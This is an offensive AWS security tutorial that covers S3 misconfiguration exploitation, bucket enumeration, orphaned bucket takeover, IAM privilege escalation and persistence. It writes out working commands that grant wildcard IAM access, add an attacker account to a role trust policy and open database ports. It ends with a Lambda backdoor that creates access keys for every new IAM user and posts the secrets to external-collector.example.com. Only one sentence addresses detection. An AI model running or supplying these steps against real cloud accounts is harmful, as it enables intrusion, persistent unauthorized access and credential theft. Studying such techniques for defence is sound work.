Amazon S3 Storage Architecture and Access Control
Simple Storage Service (S3) buckets represent one of the most frequently targeted attack surfaces within cloud environments. Their object-based architecture relies heavily on DNS-compliant naming conventions, requiring identifiers to be globally unique, lowercase, and between 3 and 63 characters. Bucket permissions are governed by three overlapping control layers: Access Control Lists (ACLs), Bucket Policies, and IAM Policies.
ACLs operate at a granular level, granting read/write privileges to specific AWS accounts or predefined groups. Bucket Policies are JSON-based resource-level rules that apply directly to the bucket or its contents. IAM Policcies attach to identities and dictate what API actions those identities can perform. Understanding the interaction between these layers is critical for identifying misconfigurations that lead to unauthorized data exposure.
Command Line Interface Configuration and Interaction
Interacting with storage buckets programmatically requires configuring the AWS Command Line Interface with valid credentials. Once installed, initialization binds access keys, secret keys, default regions, and output formats to a local profile.
sudo apt install awscli
aws configure --profile cloud-auditor
# Prompt inputs: Access Key ID, Secret Access Key, Region (us-east-1), Format (json)
With credentials established, standard operations can be executed against remote containers:
# List bucket contents
aws s3 ls s3://target-storage-container --profile cloud-auditor
# Upload a payload
aws s3 cp local_payload.bin s3://target-storage-container/uploads/local_payload.bin --acl public-read
# Remove an object
aws s3 rm s3://target-storage-container/uploads/local_payload.bin
Identifying and Exploiting Misconfigured Buckets
Publicly writable buckets allow anonymous actors to upload arbitrary files. When web applications dynamically load assets from these endpoints, attackers can inject malicious scripts that execute within the victim's browser context. This vector enables persistent cross-site scripting (XSS) and session hijacking without direct database access.
Automated discovery tools leverage dictionary-based enumeration to locate exposed containers. A typical workflow involves cloning reconnaissance utilities, customizing wordlists with organizational prefixes, and executing brute-force routines:
git clone https://github.com/jordanpotti/AWSBucketDump
cd AWSBucketDump
echo "corp" >> wordlist_custom.txt
sed -i 's/^/corp-/g' wordlist_custom.txt
touch discovered_buckets.txt
pip3 install -r requirements.txt
python3 bucket_scanner.py -D -l wordlist_custom.txt -g sensitive_terms.txt
Orphaned Bucket Takeover
Applications frequently map custom domains or subdomains to S3 endpoints via CNAME records. If the underlying bucket is deleted but the DNS record remains, the endpoint returns a NoSuchBucket error. Attackers can claim the unused name, deploy malicious payloads, and serve them to any user resolving the original URL. Mitigation requires strict lifecycle management of both DNS records and storage resources.
IAM Policy Framework and Access Logic
Identity and Access Management (IAM) orchestrates authentication and authorization through Users, Groups, and Roles. Users provide long-term credentials for console or programmatic access. Roles delegate temporary security tokens to trusted entities via the Security Token Service (STS), adhering to least-privilege principles. Groups aggregate permissions for bulk assignment.
Policies are JSON documents evaluating four core dimensions: Effect (Allow/Deny), Principal (target identity), Action (API operations), and Resource (ARN scope). Conditions add contextual constraints like MFA requirements, source IP restrictions, or time windows.
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "LimitedStorageAccess",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::998877665544:user/analyst"
},
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::finance-reports",
"arn:aws:s3:::finance-reports/*"
],
"Condition": {
"Bool": {
"aws:MultiFactorAuthPresent": "true"
}
}
}
]
}
Automated Permission Discovery with Python SDK
Enumerating exact permissions without triggering excessive AccessDenied logs requires careful API interaction. The following script leverages paginators to safely inventory EC2 instances and S3 assets while handling pagination automatically.
#!/usr/bin/env python3
import boto3
import json
import os
class CloudAuditor:
def __init__(self, profile, region):
self.session = boto3.Session(profile_name=profile, region_name=region)
self.inventory = {"ec2": [], "s3_manifests": {}}
def collect_instances(self):
ec2_handler = self.session.client("ec2")
paginator = ec2_handler.get_paginator("describe_instances")
for page in paginator.paginate():
for reservation in page["Reservations"]:
self.inventory["ec2"].extend(reservation.get("Instances", []))
def map_storage_objects(self):
s3_handler = self.session.client("s3")
buckets = s3_handler.list_buckets()["Buckets"]
for container in buckets:
name = container["Name"]
self.inventory["s3_manifests"][name] = []
paginator = s3_handler.get_paginator("list_objects_v2")
for page in paginator.paginate(Bucket=name):
self.inventory["s3_manifests"][name].extend(
page.get("Contents", [])
)
def export_findings(self, output_dir="audit_results"):
os.makedirs(output_dir, exist_ok=True)
json.dump(self.inventory["ec2"], open(f"{output_dir}/instances.json", "w"), indent=2, default=str)
for bucket_name, objects in self.inventory["s3_manifests"].items():
with open(f"{output_dir}/{bucket_name}.log", "w") as log:
for obj in objects:
log.write(f"{obj['Key']} | {obj['Size']} bytes\n")
if __name__ == "__main__":
auditor = CloudAuditor(profile="cloud-auditor", region="us-west-2")
auditor.collect_instances()
auditor.map_storage_objects()
auditor.export_findings()
Privilege Escalation and Credential Harvesting
Once initial footholds are established, mapping exact IAM permissions determines escalation potential. Tools like Pacu automate permission enumeration by safely calling STS and IAM endpoints. The iam__enum_permissions module reconstructs policy documents attached directly to users and inherited through group memberships.
If a user holds iam:PutUserPolicy, they can inject an inline policy granting wildcard access:
aws iam put-user-policy \
--user-name compromised_identity \
--policy-name temporary_elevate \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--profile cloud-auditor
Pacu streamlines this via iam__privesc_scan, which cross-references active permissions against known escalation vectors and attempts exploitation automatically.
Establishing Long-Term Cloud Persistence
Maintaining access after initial detection requires embedding redundant authentication pathways. Common techniques include generating secondary access keys for privileged accounts, modifying role trust policies for cross-account assumption, and injecting permissive ingress rules into EC2 security groups.
Cross-Account Role Trust Modification
Roles define which principals can assume them via a trust policy document. By appending an attacker-controlled root ARN to the Principal.AWS array, temporary tokens can be generated from an external account without leaving traceable credentials on the target.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": [
"arn:aws:iam::111122223333:root",
"arn:aws:iam::444455556666:root"
]
},
"Action": "sts:AssumeRole"
}
]
}
Update mechanism: aws iam update-assume-role-policy --role-name AdminRole --policy-document file://modified_trust.json
Security Group Ingress Manipulation
Firewall rules governing virtual networks can be altered to permit direct TCP connections to internal databases or management interfaces. Adding a narrow CIDR range to a high-value security group bypasses network segmentation without exposing services to the public internet.
aws ec2 authorize-security-group-ingress \
--group-id sg-0a1b2c3d4e5f6g7h8 \
--protocol tcp \
--port 27017 \
--cidr 203.0.113.50/32 \
--profile cloud-auditor
Lambda-Based Event Watchmen
Serverless functions triggered by CloudWatch Events provide continuous environment monitoring. Deploying a Lambda function that executes on iam:CreateUser events allows automatic credential generation and exfiltration whenever new administrative identities are provisioned.
import boto3
import requests
import json
def monitor_handler(event, context):
action_type = event.get("detail", {}).get("eventName")
if action_type == "CreateUser":
username = event["detail"]["requestParameters"]["userName"]
iam_client = boto3.client("iam")
try:
key_pair = iam_client.create_access_key(UserName=username)
payload = {
"ak_id": key_pair["AccessKey"]["AccessKeyId"],
"sk": key_pair["AccessKey"]["SecretAccessKey"],
"target_user": username
}
requests.post(
"https://external-collector.example.com/receive",
json=payload,
timeout=10
)
except iam_client.exceptions.LimitExceededException:
pass
except Exception:
pass
Pacu automates deployment and cleanup through lambda__backdoor_new_users, configuring CloudWatch rules, IAM execution roles, and event source mappings in a single execution flow. Defensive monitoring of Lambda creation and unexpected CloudWatch Event subscrpitions remains the primary detection mechanism for this technique.